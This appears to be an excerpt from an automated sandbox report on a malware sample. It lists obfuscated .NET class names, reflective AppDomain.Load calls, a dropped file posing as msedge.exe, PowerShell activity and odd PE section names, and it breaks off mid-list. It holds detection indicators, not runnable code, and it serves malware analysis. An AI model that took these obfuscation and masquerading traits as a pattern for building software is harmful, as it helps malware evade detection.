Source: msedge.exe.2.dr, VtuFYKkWuY1PI9BLhv1ksGbAvUhLDZmtE93hWySfiP39HcMYveO0HxCdT6CIPx7oMr8o8LBMU51eJGML.cs	.Net Code: VtxkYNl9pd3FHB9P1lmdqyYaPJPYBixu3cPG4vqlbJeJCA6B8W8dvvTN3qI4UOkdL
Source: 2.2.YgJ5inWPQO.exe.1d8a98e00a0.1.raw.unpack, DynamicUtils.cs	.Net Code: CreateSharpArgumentInfoArray
Source: 2.2.YgJ5inWPQO.exe.1d8a98e00a0.1.raw.unpack, LateBoundReflectionDelegateFactory.cs	.Net Code: CreateDefaultConstructor
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.6.raw.unpack, VtuFYKkWuY1PI9BLhv1ksGbAvUhLDZmtE93hWySfiP39HcMYveO0HxCdT6CIPx7oMr8o8LBMU51eJGML.cs	.Net Code: Mgz8VMYXFJgs3CCMy91hlPEh2gWvWXttoNd8pG4xN08KTUwmb3zGeU0ET6YRZMvLwvIqXmPQHoooDm0c System.AppDomain.Load(byte[])
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.6.raw.unpack, VtuFYKkWuY1PI9BLhv1ksGbAvUhLDZmtE93hWySfiP39HcMYveO0HxCdT6CIPx7oMr8o8LBMU51eJGML.cs	.Net Code: VtxkYNl9pd3FHB9P1lmdqyYaPJPYBixu3cPG4vqlbJeJCA6B8W8dvvTN3qI4UOkdL System.AppDomain.Load(byte[])
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.6.raw.unpack, VtuFYKkWuY1PI9BLhv1ksGbAvUhLDZmtE93hWySfiP39HcMYveO0HxCdT6CIPx7oMr8o8LBMU51eJGML.cs	.Net Code: VtxkYNl9pd3FHB9P1lmdqyYaPJPYBixu3cPG4vqlbJeJCA6B8W8dvvTN3qI4UOkdL
Source: 2.2.YgJ5inWPQO.exe.1d8a969d430.0.raw.unpack, VtuFYKkWuY1PI9BLhv1ksGbAvUhLDZmtE93hWySfiP39HcMYveO0HxCdT6CIPx7oMr8o8LBMU51eJGML.cs	.Net Code: Mgz8VMYXFJgs3CCMy91hlPEh2gWvWXttoNd8pG4xN08KTUwmb3zGeU0ET6YRZMvLwvIqXmPQHoooDm0c System.AppDomain.Load(byte[])
Source: 2.2.YgJ5inWPQO.exe.1d8a969d430.0.raw.unpack, VtuFYKkWuY1PI9BLhv1ksGbAvUhLDZmtE93hWySfiP39HcMYveO0HxCdT6CIPx7oMr8o8LBMU51eJGML.cs	.Net Code: VtxkYNl9pd3FHB9P1lmdqyYaPJPYBixu3cPG4vqlbJeJCA6B8W8dvvTN3qI4UOkdL System.AppDomain.Load(byte[])
Source: 2.2.YgJ5inWPQO.exe.1d8a969d430.0.raw.unpack, VtuFYKkWuY1PI9BLhv1ksGbAvUhLDZmtE93hWySfiP39HcMYveO0HxCdT6CIPx7oMr8o8LBMU51eJGML.cs	.Net Code: VtxkYNl9pd3FHB9P1lmdqyYaPJPYBixu3cPG4vqlbJeJCA6B8W8dvvTN3qI4UOkdL
Source: 2.3.YgJ5inWPQO.exe.1d8a96bd23f.0.raw.unpack, VtuFYKkWuY1PI9BLhv1ksGbAvUhLDZmtE93hWySfiP39HcMYveO0HxCdT6CIPx7oMr8o8LBMU51eJGML.cs	.Net Code: Mgz8VMYXFJgs3CCMy91hlPEh2gWvWXttoNd8pG4xN08KTUwmb3zGeU0ET6YRZMvLwvIqXmPQHoooDm0c System.AppDomain.Load(byte[])
Source: 2.3.YgJ5inWPQO.exe.1d8a96bd23f.0.raw.unpack, VtuFYKkWuY1PI9BLhv1ksGbAvUhLDZmtE93hWySfiP39HcMYveO0HxCdT6CIPx7oMr8o8LBMU51eJGML.cs	.Net Code: VtxkYNl9pd3FHB9P1lmdqyYaPJPYBixu3cPG4vqlbJeJCA6B8W8dvvTN3qI4UOkdL System.AppDomain.Load(byte[])
Source: 2.3.YgJ5inWPQO.exe.1d8a96bd23f.0.raw.unpack, VtuFYKkWuY1PI9BLhv1ksGbAvUhLDZmtE93hWySfiP39HcMYveO0HxCdT6CIPx7oMr8o8LBMU51eJGML.cs	.Net Code: VtxkYNl9pd3FHB9P1lmdqyYaPJPYBixu3cPG4vqlbJeJCA6B8W8dvvTN3qI4UOkdL
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.5.raw.unpack, VtuFYKkWuY1PI9BLhv1ksGbAvUhLDZmtE93hWySfiP39HcMYveO0HxCdT6CIPx7oMr8o8LBMU51eJGML.cs	.Net Code: Mgz8VMYXFJgs3CCMy91hlPEh2gWvWXttoNd8pG4xN08KTUwmb3zGeU0ET6YRZMvLwvIqXmPQHoooDm0c System.AppDomain.Load(byte[])
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.5.raw.unpack, VtuFYKkWuY1PI9BLhv1ksGbAvUhLDZmtE93hWySfiP39HcMYveO0HxCdT6CIPx7oMr8o8LBMU51eJGML.cs	.Net Code: VtxkYNl9pd3FHB9P1lmdqyYaPJPYBixu3cPG4vqlbJeJCA6B8W8dvvTN3qI4UOkdL System.AppDomain.Load(byte[])
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.5.raw.unpack, VtuFYKkWuY1PI9BLhv1ksGbAvUhLDZmtE93hWySfiP39HcMYveO0HxCdT6CIPx7oMr8o8LBMU51eJGML.cs	.Net Code: VtxkYNl9pd3FHB9P1lmdqyYaPJPYBixu3cPG4vqlbJeJCA6B8W8dvvTN3qI4UOkdL

Source: VCRUNTIME140.dll.0.dr

Static PE information: 0x78BDDED1 [Sat Mar 11 17:01:05 2034 UTC]

Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: fothk
Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: _RDATA
Source: libcrypto-3.dll.0.dr	Static PE information: section name: .00cfg
Source: python313.dll.0.dr	Static PE information: section name: PyRuntim

Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Code function: 14_2_00007FFB498D2830 push ss; retf	14_2_00007FFB498DD837
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Code function: 14_2_00007FFB498DA272 push ebx; retf	14_2_00007FFB498DA282
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Code function: 14_2_00007FFB498C00BD pushad ; iretd	14_2_00007FFB498C00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00007FFB497AD2A5 pushad ; iretd	20_2_00007FFB497AD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00007FFB498C0952 push E959E5D0h; ret	20_2_00007FFB498C09C9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00007FFB499976B6 push eax; ret	20_2_00007FFB499976D1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00007FFB49992316 push 8B485F92h; iretd	20_2_00007FFB4999231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 27_2_00007FFB4978D2A5 pushad ; iretd	27_2_00007FFB4978D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 27_2_00007FFB498AC2C5 push ebx; iretd	27_2_00007FFB498AC2DA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 27_2_00007FFB49972316 push 8B485F94h; iretd	27_2_00007FFB4997231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00007FFB4979D2A5 pushad ; iretd	30_2_00007FFB4979D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00007FFB49987BFC push esp; iretd	30_2_00007FFB49987BFD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00007FFB49982316 push 8B485F93h; iretd	30_2_00007FFB4998231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 34_2_00007FFB4978D2A5 pushad ; iretd	34_2_00007FFB4978D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 34_2_00007FFB49972316 push 8B485F94h; iretd	34_2_00007FFB4997231B

Source: msedge.exe.2.dr, 7l8EMvCZIQ2S6SCCgLjAUPV321xi9u2lG1TN5rcaiwq3jJZsmcdPp6QQZ4JfjN1Ag3iJhVbD2EMEm6iDuAiqQJORTJjKZlvtxR.cs	High entropy of concatenated method names: 'yLkA7Q6Kyqbf7JvABMuLJlGQe8lXA3ZPaGTzSUgq5myXaKtbYNc1F1R2xNV3eEzAlxyWWPMje4ZJsYtZpjLrVxKSGiuKErxdsn', 'ay9gvxX2nAR4xs0fZMBlmfecS4kM3MYsQmE9WDNd22SUfcckNmdsM5odOJqICEhy0b09DJsHYNjHvYltdHpSlt54GW6CuF8WAB', '_5YcIPTAaHluO4yNnj1vfBwQeeNmkoH8nMKzc2miNJESRx3WzOFaUm6KbQZxYDPbWr6QC3mZ817QCFOLaIzodRe6n9dZY62II0e', 'iM7MRft4gonQkd1M5Ag3RkMRz', 'HtI7DCm94hvxdFS3tcCRfjP0B', '_1eROfC4OTQkqiqLLg1UaTC7I3', '_86uYvfHoynkvtwP3LC7jNqL5l', '_6H35GECqxSX36OMFsHk9b0JI3', 'ivyvL9KeLSbyFYPNQl8bu5OCL', 'f6NSBWBAVbEsBxXbShNY8sAKQ'
Source: msedge.exe.2.dr, 0fMQz1adjSFKPgcLs2KfNWsL1qDjoRJ254KgG47NkBGFlkHX.cs	High entropy of concatenated method names: 'yh97aflW3Y6Oc6EMOjb8igXrFuDjxnyJ0g4ZgemCPK25C6B0QkVCKz6gXmErE8EFiJzZ0N8KwuSddeiSIei', 'rmFFrLm9tg4sqGbwwV6wTFNfANZqh2jmSbI2T7KIFdXYBS7NZ76YUuWieUDCGxfu2uFIFSqI7qJbnil5WPx', 'JeYM41efdgM3xEeo83K8abrLd3xT9Zka5PUghZeANQraQFGzVzGwZlLjFHekTIjUpXPGUzOHAaa2hss6Ro7', 'jl27VKGuPbY6Vv50dLRBg9PHurocMlRz5UXO3avvvO7g7hGGaRW2xiPqgqgoCagbW6eFOJmnmTsQ9BFvKki'
Source: msedge.exe.2.dr, Aa9DO6wWMfkvbFA2SI9y58lSPZNgXOk0nlHGYdR5geCe6PSZ.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'rCym4pGH0HfiWYMDkatZ4jDgtzxGrNwDeTdN4AGeR6ampuEWA1uJoNCe2HQqeMQKzjbNL0umb0ads4lHF7iR7rf0fDHQ6fYZv0', 'JnGcaPLk9cEe8ZtNdeKwV2NmbQK9NjtMQBcABUh7rA69kc63UMML6mEBixCWcCQlpNcgcRT7vTtcN98dMooYPV7JU7l3n98uBC', 'za8iXzabtj3LOTES9ZUroK4B7VbEXqHLFSddlabg9rmqfzeJxAwwU5fprAWHSYoqtTdLDLf5wWhhI3vRLVOpCx10SD7ZtcrfHV', 'AxG7nVOUs64ifgghu403q6JlFTkHiMAxg7JlRR7C6BUFS8ABLZGfAPgje1VNGD0I4tt1OhX6t7jmBvnVXZc'
Source: msedge.exe.2.dr, 3dgQ4sLORTEz8Prkm60ulWACIXjwJ7c6mrCcGNf2MvuZdnTw9FZ0qRPg2U86pBEnH.cs	High entropy of concatenated method names: 'QxFWgAZfropbgmTO2hlzNsLzVeiewHGUSf6EW3Ffo7mQohnn3sFEtKyn58ywLDXZp', 'E7gTS6aZOBUjrnjWkRovirs5GQMP6vDANNiXNCsHM9XKpdpCSi9ySH4h7LWHV17ED', '_5GEPL5zXkhE1GjOHoZ9z63pfIV85JvFLlvj9gixiODSRnurpPHLDzOHVFbEEno2RavWF3fIZEn3SxJ98u2njqTFUddgst4LRcj', 'ltLJ4u6QrOFoSub4MAJVSYuaDhMwbXPSGDBGMy2ZbRxsYrLl16uPhdnTP7agf6Hm1vk8YnSCaVCsMp7KpjatND9rWTQO8huXyA', '_11e6MCzhNjt9fkdjoEPblcMuf6aFCMPVhhBUVA7Yqvey60iT4Z9rQiGfXtUSY21UXDoLmcm6FQzqjjhT443rzH1lHfGBRaJtHO', 'UZ4u6YhLiNmOQFhZub8hA81xnXuvc2Ctomxn0gpupTthP7ZmB0HUwan956IvJfW7zg9wrIOHlikLJ3FTJAQFthekemjXyhQSnf', 'DwGMdcgm3qHTRgmWo7sPJ5n0mnmEW2Fbc5oKL6LmvH2Z8Na3KvToLZPvhJoAOw3kTLi0O0Ocuxf3rowAAP7q2aqOBC16LpYOTX', 'zgdeUfZxN9ppsoOeFNMwd0uvrXzumzUexYDqje8VufRmYDVO4UqBdeQkKXZkwRFlpgusfVbxqelmm0C6pEM5PlxKogt9n60CKN', 'vmcqjfch5uiAiPz2xYdQXmk3uqbYmRKT6dK6XpFJuqu89T7ov0Xj6xsWrH2HieBkeuyBpMScrGzeRWxPDV4NyMWMaDCOXmtZWS', 'psQx6sOJNixtwH4cosuDJVM8w3hj7T7nEmPV7UZ3P0QeICadwisrC4VZPDfXPAwqXopYgZttuwQpzBkWaQ9QBphkKlg1T2YCYC'
Source: msedge.exe.2.dr, 0z3ZIhpJfhq2njFq0TTjg8sopVsEWVPb24mSwU4g0QL4dxjF7JdE4QOgJ40VPuiaU.cs	High entropy of concatenated method names: 'E7pAEoTZL9Spl2tY5dP9it8wxhZikXrxarMTkvT3bAO1JmNjM4DEjCrAFEf4C84Hc', 'sK1EMIEWy94QUVp8dt4NMb7nE', 'Bq3KY2TNlgepk2nYwWvgaeox4', 'ZATUsFwMG4tcqp3gKEA66w1O0', 'gqFJHjU2OILeYa5BRaqNA1D5k'
Source: msedge.exe.2.dr, RCU77fvzQI1bW3Vpo5QsIuEOnvacINkd41Sdukon4zQhdO3pwSwv0DKGBQDlkhLcC.cs	High entropy of concatenated method names: '_3S6hTXFysXlTNpxkpMjvWho3Xij3a1thIBgoyfGVtVa8vLSxdMJ4mTU9fHTeTpyaT', 'SH8BPXlVdqfTpfr0dXzAedp0Owyt8vQ5aQMzLkLDknEZIyP3wSWkTb4T9OOH6Rmwt', 'ujmHtkgyBcc340ZUYJd4ZwSHR9s75HBDcR02joVkumogehguuKmJcNwp2ARZ7Y2eU', '_8uLtrjXyCbOf5PZIQ3NOJ4dW6qSMOwuWamF2lDNy5dLn7CpRI4gwrgv5yrFxfx0cG', 'WNpZKzxqLOd7RnJuNXtrbOscx', 'j0O4pInvmClZbk6eGgGhDPkt1', '_27UGHbqGtAnPYozHgin2IxY2o', 'mP1PQHbMcqYgF7rcX92WxSnc7', 'UuSZA9yx6NwCF7bdQBlSE92eY', 'gV9BDwFy83190WOT9KtIpLVbQ'
Source: msedge.exe.2.dr, VtuFYKkWuY1PI9BLhv1ksGbAvUhLDZmtE93hWySfiP39HcMYveO0HxCdT6CIPx7oMr8o8LBMU51eJGML.cs	High entropy of concatenated method names: 'lV8yfxnNOUZBrm7CCVAOCkMBat7ri85PfdsuSOkvPZ6T1pNFM5pGl9OqquNozdUuZRnBAVVMyRaaAMEB', 'Mgz8VMYXFJgs3CCMy91hlPEh2gWvWXttoNd8pG4xN08KTUwmb3zGeU0ET6YRZMvLwvIqXmPQHoooDm0c', 'pMFZ3PfvjSoGzkxKDTIiEVsgD2oSzxmwy9iQcZIMjWaqwi23XuiTTKhoEu57SkzeNCkbcY2b8FxO5Mvv', 'NH7YFiUOc5O0NSPvuPKD60ETIJxA3xnxfVXgRvMOuDvL2ZGrLviNQ6KOb50AX6b8G4oMPQm6QcuJNFxc', 'XqsUtRgXgobAukbBF3YrZRWuvN7k9mQQ4UTQuwGRKzndvPcxpUcoFtGYOFhERsAzBV0sYIi73FysSCpP', 'ehmlzl9HRbOhC72a5QblVNPKttoeTJGt58GLWCcJwFc9tIA8JMLTR7cC8fo2z59e5Elbdoq3HBIm3JBF', 'cVa88cKP4KxJbWe1wHxvup0fb40DrVPdG6MU4DVPRDtMslX2XHJVQLch5LdVStxVr0K7OWr7ZAvma7g0', '_6n7p7xcfkpxVJHGWtOAgEauvhKq6iFar1EAuBxNmilpE0I6s4OTNZGJI6olsxtYtouxQOyuB1NLvYxsM', 'gdyqhq6UGMGDaSA4E3FKviLXlri68bwhigKwBd09U3mJhDdd8EFiyXjYk7v0Me4p6', 'qBmNnXvTbBv0CeX2VcO6Mx2b2hi1FMYkpC0aLANmj0fjIVVdNBTGzIXF4qZZQC6is'
Source: msedge.exe.2.dr, stk6so8iK7FJeV1oDN5jkaRBY7Ddrzd4rBzBn9cyxVQm0hI4XGecZHjMpsFUIQ2opBbgNNP4Er2RJQfs.cs	High entropy of concatenated method names: 'qdmDYl4SL5ToIVCygypSkfUIDKPjPBMcg2pWQW1zo5JM2XOuiAwYIwNyAwohiYTUHH7uBG2P6URZDpkm', 'pQuIZJe9VwWfwtXo1n1TM12UVqpO1F6n1SDK5IiQTd5al1uh8JfEfTNYDwRfQPZij33wLq0aUK20cOHm', 'yealjVgbGthaP5FKECWl8KU5CL3QtF9urObvSWHJpwUX0AVS2QILSBuOrVLFBBCV02Wd64qHl5rcj8jj', 'FxMirkENPExtEC31ZL6aSwVo77wVgbeSUnd6fAw4oyPrAkel0j9O2ZgTZqqMSqieMfewjincpK0Vnsyz', 'RvVB9Ejb26XJ1kquvFnq3aQ9DI4Clt6AkQ55Vb1JVjaKGicDYngQj48Lgk5uza6TrlBilvpG9rZbdpZr', 'ojqT7jfklN6efpZt4f9GOK8UlLQQYSyLsWsqLdh7pNleULztIfmvuRjvbiUL5hBghcJHTVixu9AvWaSB', 'LYESWLPlNRB0RjlPBmu0cNDGD3nxTEfomN5rdXs2kjJkJ0rChKYf9a5OY3zH2ws4i2hdhKGIxYwUhAxv', 'sPApCcjEzgyiG1RLXBGyRbJDlQhSTnsCE8FYdrOIqFff4GpLFG35DTBjOoiBOIyRJbopCIzMXppXzf9z', '_4UeQiiQhn5nUGmsfOBWU2l6MQmAdJGc1zZCtsJ3WEBsztv7nnRLNlASY3wLrXt4So1oMMqbwc4Bs5g9l', '_9x2NFSoKL9vLpyXL1ktRXKL7SG847SNgRcdPtdPR8Om2cVboTqKHs6XMueB4gqshuhF7Aia8hNhQel9u'
Source: msedge.exe.2.dr, kYTFTR8V1K5OKHLJMdR9YLHeADSXXhtlG4Iwp3C4PI51lKEwaKDsnQlE3p7TC5FakkF3rYArzaBF5kPl.cs	High entropy of concatenated method names: 'BVqUoib0qQQlOkJEpWqM9D6mhr8SUDEpFDtzydSqh2w5Oo3DHVMV9mx7q1h0P8J55Ykz6w58o4H7LEC7', 'c31mxOeqgNLubMT2h5AST0IHdPAgEFgZAXyQ8RyaqvvyD0m6iwyKnYPQgsEHgKq4sclbIoCq9ekKmJx5', 'PzZFwBQ0Wo3sWYN9lbVpUjs00MTFAMgL3C6c1M62OH6qp0HyaCykdkRtcktS1lpPGIadK151yf9ll5kP', 'iZ1VpmKAxUZ5MEy03TNnL0O13IynehkTVOmUnOQihopeuYCgPofGAcz3cEjJz62CyozF9AxaBx6FYwVJ', 'k3ndOXrYkQH9liWl9ILv5rTWikaKMUactCNvyGmIoxN6HqIFj24TozibWBtvio1FK5CL9GyeJ8COXdao', 'h4Jxq053KZd14zLY6MGQRcCVHWhC1oUNZ1Dwkh06DyfCoK8BZ41STUKuTNZaIiyOtRLDSnWeyxeuHyx5', 'yE0qpSUDJwJzUcoWRb7RduQfTW8VbkCDON7wafJczZbOxyFxEsahclUEguvWpBZvySnlLbAFbOAaG43o', '_3eZb4qgo9XlZFyEEP6kniOLHeIGoVAwPpp0QNW1Oz6Rdmg32BWCa24cRVDPSwcscPU0AQeTeSoGdorXY', 'VzfEhaqpx7WuM6mKRysSvH9CnwJfaQgLrwFjSXr7Dd8MvmhLq5ucsvUZNIRSyYcbUor0nwBAb5adVWJA', 'Hcxmwgcfvb0Bkd2qCZPrYJ9y8zsB3wzwWROBql1Bs7u2bWnTbpVOqKraOWNdG3emjOJzdqAZG19OKmsU'
Source: msedge.exe.2.dr, qbP50VaV6GXcwq1MYN7LflNfjGaY1EnTdTMXqhGBe7CwlDFU5DK42dCawqRAoJLP4.cs	High entropy of concatenated method names: 'MXhGTmv46wi5UhuMKLIxDlmzGyV7SGmjknEIYL3cd38rdGgJN0f51QgP9wyn2zklK', 'PsuVaX6vi2YxK2FN82eAyoFLnBPEC3myeciUVh0g4hxrd5hBvKdW4tmkIJfc2rPF5', 'axoHHeKaC9uJqM3UUsG2vc0waW0Pkc4HfWmp7YncVCNKZlNWZoD6sZmdUDCkQ7Le4', 'EqQrwwEuNxMagdr276yhN8uCG2fZ2Im63WLnYY3Xjk8ALtrmRJFaK7urDnQ7U3oZx', 'WhPVdwGxGiASUSwCNVscZFrPhIPtxFVwgmuL3zSkXK90LEZpKgEUSQNukdpXV06tW', 'rrent0ANdMIraUHV8crovUBgoM9R8aVTgf2hwKfWPyItgZlhS0Ah5nmfDHHRbX9nA', 'FtaDGUbc726CncyTgQdVlNgqZTQNlinN5JIKCGsk1QXh1L61c1lGE9lTJBwcMU34z', 'qyQ13OJEfnw6cNJa4AWK3KJFjrbCGz1q7TiPiSrh7sOKMUkQhjQsNCwouKtHvdFzS', '_6c2pg3Gt4EzzUEfWShMSZcLD90vIQcf1K4tDIIFlrYiowtiJaBUYTEn0POAeyxBxL', 'I45LXYxaZ72Yz8T3SQepzItv8kDPDO4byqIBOub6l5OhFWxq5sX0MrBiZzttKiHfT'
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.6.raw.unpack, 7l8EMvCZIQ2S6SCCgLjAUPV321xi9u2lG1TN5rcaiwq3jJZsmcdPp6QQZ4JfjN1Ag3iJhVbD2EMEm6iDuAiqQJORTJjKZlvtxR.cs	High entropy of concatenated method names: 'yLkA7Q6Kyqbf7JvABMuLJlGQe8lXA3ZPaGTzSUgq5myXaKtbYNc1F1R2xNV3eEzAlxyWWPMje4ZJsYtZpjLrVxKSGiuKErxdsn', 'ay9gvxX2nAR4xs0fZMBlmfecS4kM3MYsQmE9WDNd22SUfcckNmdsM5odOJqICEhy0b09DJsHYNjHvYltdHpSlt54GW6CuF8WAB', '_5YcIPTAaHluO4yNnj1vfBwQeeNmkoH8nMKzc2miNJESRx3WzOFaUm6KbQZxYDPbWr6QC3mZ817QCFOLaIzodRe6n9dZY62II0e', 'iM7MRft4gonQkd1M5Ag3RkMRz', 'HtI7DCm94hvxdFS3tcCRfjP0B', '_1eROfC4OTQkqiqLLg1UaTC7I3', '_86uYvfHoynkvtwP3LC7jNqL5l', '_6H35GECqxSX36OMFsHk9b0JI3', 'ivyvL9KeLSbyFYPNQl8bu5OCL', 'f6NSBWBAVbEsBxXbShNY8sAKQ'
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.6.raw.unpack, 0fMQz1adjSFKPgcLs2KfNWsL1qDjoRJ254KgG47NkBGFlkHX.cs	High entropy of concatenated method names: 'yh97aflW3Y6Oc6EMOjb8igXrFuDjxnyJ0g4ZgemCPK25C6B0QkVCKz6gXmErE8EFiJzZ0N8KwuSddeiSIei', 'rmFFrLm9tg4sqGbwwV6wTFNfANZqh2jmSbI2T7KIFdXYBS7NZ76YUuWieUDCGxfu2uFIFSqI7qJbnil5WPx', 'JeYM41efdgM3xEeo83K8abrLd3xT9Zka5PUghZeANQraQFGzVzGwZlLjFHekTIjUpXPGUzOHAaa2hss6Ro7', 'jl27VKGuPbY6Vv50dLRBg9PHurocMlRz5UXO3avvvO7g7hGGaRW2xiPqgqgoCagbW6eFOJmnmTsQ9BFvKki'
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.6.raw.unpack, Aa9DO6wWMfkvbFA2SI9y58lSPZNgXOk0nlHGYdR5geCe6PSZ.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'rCym4pGH0HfiWYMDkatZ4jDgtzxGrNwDeTdN4AGeR6ampuEWA1uJoNCe2HQqeMQKzjbNL0umb0ads4lHF7iR7rf0fDHQ6fYZv0', 'JnGcaPLk9cEe8ZtNdeKwV2NmbQK9NjtMQBcABUh7rA69kc63UMML6mEBixCWcCQlpNcgcRT7vTtcN98dMooYPV7JU7l3n98uBC', 'za8iXzabtj3LOTES9ZUroK4B7VbEXqHLFSddlabg9rmqfzeJxAwwU5fprAWHSYoqtTdLDLf5wWhhI3vRLVOpCx10SD7ZtcrfHV', 'AxG7nVOUs64ifgghu403q6JlFTkHiMAxg7JlRR7C6BUFS8ABLZGfAPgje1VNGD0I4tt1OhX6t7jmBvnVXZc'
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.6.raw.unpack, 3dgQ4sLORTEz8Prkm60ulWACIXjwJ7c6mrCcGNf2MvuZdnTw9FZ0qRPg2U86pBEnH.cs	High entropy of concatenated method names: 'QxFWgAZfropbgmTO2hlzNsLzVeiewHGUSf6EW3Ffo7mQohnn3sFEtKyn58ywLDXZp', 'E7gTS6aZOBUjrnjWkRovirs5GQMP6vDANNiXNCsHM9XKpdpCSi9ySH4h7LWHV17ED', '_5GEPL5zXkhE1GjOHoZ9z63pfIV85JvFLlvj9gixiODSRnurpPHLDzOHVFbEEno2RavWF3fIZEn3SxJ98u2njqTFUddgst4LRcj', 'ltLJ4u6QrOFoSub4MAJVSYuaDhMwbXPSGDBGMy2ZbRxsYrLl16uPhdnTP7agf6Hm1vk8YnSCaVCsMp7KpjatND9rWTQO8huXyA', '_11e6MCzhNjt9fkdjoEPblcMuf6aFCMPVhhBUVA7Yqvey60iT4Z9rQiGfXtUSY21UXDoLmcm6FQzqjjhT443rzH1lHfGBRaJtHO', 'UZ4u6YhLiNmOQFhZub8hA81xnXuvc2Ctomxn0gpupTthP7ZmB0HUwan956IvJfW7zg9wrIOHlikLJ3FTJAQFthekemjXyhQSnf', 'DwGMdcgm3qHTRgmWo7sPJ5n0mnmEW2Fbc5oKL6LmvH2Z8Na3KvToLZPvhJoAOw3kTLi0O0Ocuxf3rowAAP7q2aqOBC16LpYOTX', 'zgdeUfZxN9ppsoOeFNMwd0uvrXzumzUexYDqje8VufRmYDVO4UqBdeQkKXZkwRFlpgusfVbxqelmm0C6pEM5PlxKogt9n60CKN', 'vmcqjfch5uiAiPz2xYdQXmk3uqbYmRKT6dK6XpFJuqu89T7ov0Xj6xsWrH2HieBkeuyBpMScrGzeRWxPDV4NyMWMaDCOXmtZWS', 'psQx6sOJNixtwH4cosuDJVM8w3hj7T7nEmPV7UZ3P0QeICadwisrC4VZPDfXPAwqXopYgZttuwQpzBkWaQ9QBphkKlg1T2YCYC'
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.6.raw.unpack, 0z3ZIhpJfhq2njFq0TTjg8sopVsEWVPb24mSwU4g0QL4dxjF7JdE4QOgJ40VPuiaU.cs	High entropy of concatenated method names: 'E7pAEoTZL9Spl2tY5dP9it8wxhZikXrxarMTkvT3bAO1JmNjM4DEjCrAFEf4C84Hc', 'sK1EMIEWy94QUVp8dt4NMb7nE', 'Bq3KY2TNlgepk2nYwWvgaeox4', 'ZATUsFwMG4tcqp3gKEA66w1O0', 'gqFJHjU2OILeYa5BRaqNA1D5k'
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.6.raw.unpack, RCU77fvzQI1bW3Vpo5QsIuEOnvacINkd41Sdukon4zQhdO3pwSwv0DKGBQDlkhLcC.cs	High entropy of concatenated method names: '_3S6hTXFysXlTNpxkpMjvWho3Xij3a1thIBgoyfGVtVa8vLSxdMJ4mTU9fHTeTpyaT', 'SH8BPXlVdqfTpfr0dXzAedp0Owyt8vQ5aQMzLkLDknEZIyP3wSWkTb4T9OOH6Rmwt', 'ujmHtkgyBcc340ZUYJd4ZwSHR9s75HBDcR02joVkumogehguuKmJcNwp2ARZ7Y2eU', '_8uLtrjXyCbOf5PZIQ3NOJ4dW6qSMOwuWamF2lDNy5dLn7CpRI4gwrgv5yrFxfx0cG', 'WNpZKzxqLOd7RnJuNXtrbOscx', 'j0O4pInvmClZbk6eGgGhDPkt1', '_27UGHbqGtAnPYozHgin2IxY2o', 'mP1PQHbMcqYgF7rcX92WxSnc7', 'UuSZA9yx6NwCF7bdQBlSE92eY', 'gV9BDwFy83190WOT9KtIpLVbQ'
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.6.raw.unpack, VtuFYKkWuY1PI9BLhv1ksGbAvUhLDZmtE93hWySfiP39HcMYveO0HxCdT6CIPx7oMr8o8LBMU51eJGML.cs	High entropy of concatenated method names: 'lV8yfxnNOUZBrm7CCVAOCkMBat7ri85PfdsuSOkvPZ6T1pNFM5pGl9OqquNozdUuZRnBAVVMyRaaAMEB', 'Mgz8VMYXFJgs3CCMy91hlPEh2gWvWXttoNd8pG4xN08KTUwmb3zGeU0ET6YRZMvLwvIqXmPQHoooDm0c', 'pMFZ3PfvjSoGzkxKDTIiEVsgD2oSzxmwy9iQcZIMjWaqwi23XuiTTKhoEu57SkzeNCkbcY2b8FxO5Mvv', 'NH7YFiUOc5O0NSPvuPKD60ETIJxA3xnxfVXgRvMOuDvL2ZGrLviNQ6KOb50AX6b8G4oMPQm6QcuJNFxc', 'XqsUtRgXgobAukbBF3YrZRWuvN7k9mQQ4UTQuwGRKzndvPcxpUcoFtGYOFhERsAzBV0sYIi73FysSCpP', 'ehmlzl9HRbOhC72a5QblVNPKttoeTJGt58GLWCcJwFc9tIA8JMLTR7cC8fo2z59e5Elbdoq3HBIm3JBF', 'cVa88cKP4KxJbWe1wHxvup0fb40DrVPdG6MU4DVPRDtMslX2XHJVQLch5LdVStxVr0K7OWr7ZAvma7g0', '_6n7p7xcfkpxVJHGWtOAgEauvhKq6iFar1EAuBxNmilpE0I6s4OTNZGJI6olsxtYtouxQOyuB1NLvYxsM', 